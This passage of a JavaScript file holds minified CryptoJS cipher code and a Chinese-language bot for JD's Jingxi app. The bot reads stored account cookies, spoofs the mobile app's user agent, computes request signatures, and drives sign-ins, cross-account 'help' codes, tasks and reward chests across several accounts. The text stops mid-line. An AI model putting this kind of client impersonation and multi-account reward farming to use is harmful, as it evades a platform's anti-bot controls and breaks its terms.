589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜签到'); +const JD_API_HOST = "https://m.jingxi.com/"; +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let UA, UAInfo = {}, isLoginInfo = {}; +$.shareCodes = []; +$.blackInfo = {} +$.appId = "0ac98"; +const JX_FIRST_RUNTASK = $.isNode() ? (process.env.JX_FIRST_RUNTASK && process.env.JX_FIRST_RUNTASK === 'xd' ? '5' : '1000') : ($.getdata('JX_FIRST_RUNTASK') && $.getdata('JX_FIRST_RUNTASK') === 'xd' ? '5' : '1000') +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + $.CryptoJS = $.isNode() ? require("crypto-js") : CryptoJS; + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await requestAlgo(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (i === 0) console.log(`\n正在收集助力码请等待\n`) + if (!isLoginInfo[$.UserName]) continue + if (JX_FIRST_RUNTASK === '5') { + $.signhb_source = '5' + } else if (JX_FIRST_RUNTASK === '1000') { + $.signhb_source = '1000' + } + await signhb(1) + await $.wait(500) + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`) + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }) + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`) + } + continue + } + UA = UAInfo[$.UserName] + if (JX_FIRST_RUNTASK === '5') { + console.log(`开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main() + console.log(`\n开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main(false) + } else if (JX_FIRST_RUNTASK === '1000') { + console.log(`开始运行红包任务`) + $.taskName = '红包' + $.signhb_source = '1000' + await main() + console.log(`\n开始运行喜豆任务`) + $.taskName = '喜豆' + $.signhb_source = '5' + await main(false) + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + +async function main(help = true) { + $.commonlist = [] + $.bxNum = [] + $.black = false + $.canHelp = true + await signhb(2) + await $.wait(2000) + if (!$.sqactive && $.signhb_source === '5') { + console.log(`未选择自提点,跳过执行`) + return + } + if (help) { + if ($.canHelp) { + if ($.shareCodes && $.shareCodes.length) { + console.log(`\n开始内部互助\n`) + for (let j = 0; j < $.shareCodes.length; j++) { + if ($.shareCodes[j].num == $.shareCodes[j].domax) { + $.shareCodes.splice(j, 1) + j-- + continue + } + if ($.shareCodes[j].use === $.UserName) { + console.log(`不能助力自己`) + continue + } + console.log(`账号 ${$.UserName} 去助力 ${$.shareCodes[j].use} 的互助码 ${$.shareCodes[j].smp}`) + if ($.shareCodes[j].max) { + console.log(`您的好友助力已满`) + continue + } + await helpSignhb($.shareCodes[j].smp) + await $.wait(2000) + if (!$.black) $.shareCodes[j].num++ + break + } + } + } else { + console.log(`今日已签到,无法助力好友啦~`) + } + } + if (!$.black) { + await helpSignhb() + if ($.commonlist && $.commonlist.length) { + console.log(`开始做${$.taskName}任务`) + for (let j = 0; j < $.commonlist.length && !$.black; j++) { + await dotask($.commonlist[j]); + await $.wait(2000); + } + } else { + console.log(`${$.taskName}任务已完成`) + } + if ($.bxNum && $.bxNum.length) { + for (let j = 0; j < $.bxNum[0].bxNum; j++) { + await bxdraw() + await $.wait(2000) + } + } + if ($.signhb_source === '1000') await SignedInfo() + } else { + console.log(`此账号已黑`) + } + await $.wait(2000) +} + +// 查询信息 +function signhb(type = 1) { + let functionId = 'signhb/query', body = ''; + if ($.signhb_source === '5') { + functionId = 'signhb/query_jxpp' + body = `type=0&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} query签到 API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if ($.signhb_source === '5') { + $.sqactive = ''; + if (!data.sqactive) return + $.sqactive = data.sqactive + } + const { + smp, + commontask, + sharetask, + signlist = [] + } = data + let domax, helppic, status + if (sharetask) { + domax = sharetask.domax + helppic = sharetask.helppic + status = sharetask.status + } + let helpNum = 0 + if (helppic) helpNum = helppic.split(";").length - 1 + switch (type) { + case 1: + if (status === 1) { + let max = false + if (helpNum == domax) max = true + $.shareCodes.push({ + 'use': $.UserName, + 'smp': smp, + 'num': helpNum || 0, + 'max': max, + 'domax': domax + }) + } + break + case 2: + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + console.log(`今日已签到`) + $.canHelp = false + } else { + console.log(`今日未签到`) + } + } + } + console.log(`【签到互助码】${smp}`) + if (helpNum) console.log(`已有${helpNum}人助力`) + if (commontask) { + for (let i = 0; i < commontask.length; i++) { + if (commontask[i].task && commontask[i].status != 2) { + $.commonlist.push(commontask[i].task) + } + } + } + console.log(`可开启宝箱${data.baoxiang_left}个`) + $.bxNum.push({ + 'bxNum': data.baoxiang_left + }) + break + default: + break + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 签到 助力 +function helpSignhb(smp = '') { + let functionId, body; + if ($.signhb_source === '5') { + functionId = 'signhb/query_jxpp' + body = `type=1&signhb_source=${$.signhb_source}&smp=&ispp=1&tk=` + } else { + functionId = 'signhb/query' + body = `type=1&signhb_source=${$.signhb_source}&smp=${smp}&ispp=0&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} query助力 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + const { + signlist = [] + } = data + for (let key of Object.keys(signlist)) { + let vo = signlist[key] + if (vo.istoday === 1) { + if (vo.status === 1 && data.todaysign === 1) { + // console.log(`今日已签到`) + } else { + console.log(`此账号已黑`) + $.black = true + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 任务 +function dotask(task) { + let functionId, body; + if ($.signhb_source === '5') { + functionId = 'signhb/dotask_jxpp' + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=1&sqactive=${$.sqactive}&tk=` + } else { + functionId = 'signhb/dotask' + body = `task=${task}&signhb_source=${$.signhb_source}&ispp=0&sqactive=&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl(functionId, body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} dotask API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `完成任务 获得${data.sendxd}喜豆` : `完成任务 获得${data.sendhb}红包`); + } else if (data.ret === 1003) { + console.log(`此账号已黑`); + $.black = true; + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +// 宝箱 +function bxdraw() { + let body; + if ($.signhb_source === '5') { + body = `ispp=1&sqactive=${$.sqactive}&tk=` + } else { + body = `ispp=0&sqactive=&tk=` + } + return new Promise((resolve) => { + $.get(taskUrl("signhb/bxdraw", body), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`${$.name} bxdraw API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]) + if (data.ret === 0) { + console.log($.signhb_source === '5' ? `开启宝箱 获得${data.sendxd}喜豆` : `开启宝箱 获得${data.sendhb}红包`); + } else { + console.log(JSON.stringify(data)); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +// 双签 +function SignedInfo() { + return new Promise(resolve => { + $.get(JDtaskUrl("SignedInfo", `_=${Date.now()}`), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} SignedInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + const { data: { jd_sign_status, jx_sign_status, double_sign_status } } = data + if (data.retCode === 0) { + if (double_sign_status === 0) { + if (jd_sign_status === 1 && jx_sign_status === 1) { + await IssueReward() + } else { + console.log(`京东或京喜未签到,无法双签`) + } + } else { + console.log(`已完成双签`) + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function IssueReward() { + return new Promise(resolve => { + $.get(JDtaskUrl("IssueReward"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} IssueReward API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.retCode === 0){ + console.log(`双签成功:获得${data.data.jx_award}京豆`) + } else { + console.log(`任务完成失败,错误信息${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(functionId, body = '') { + let url = `` + if (body) { + url = `${JD_API_HOST}fanxiantask/${functionId}?${body}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + 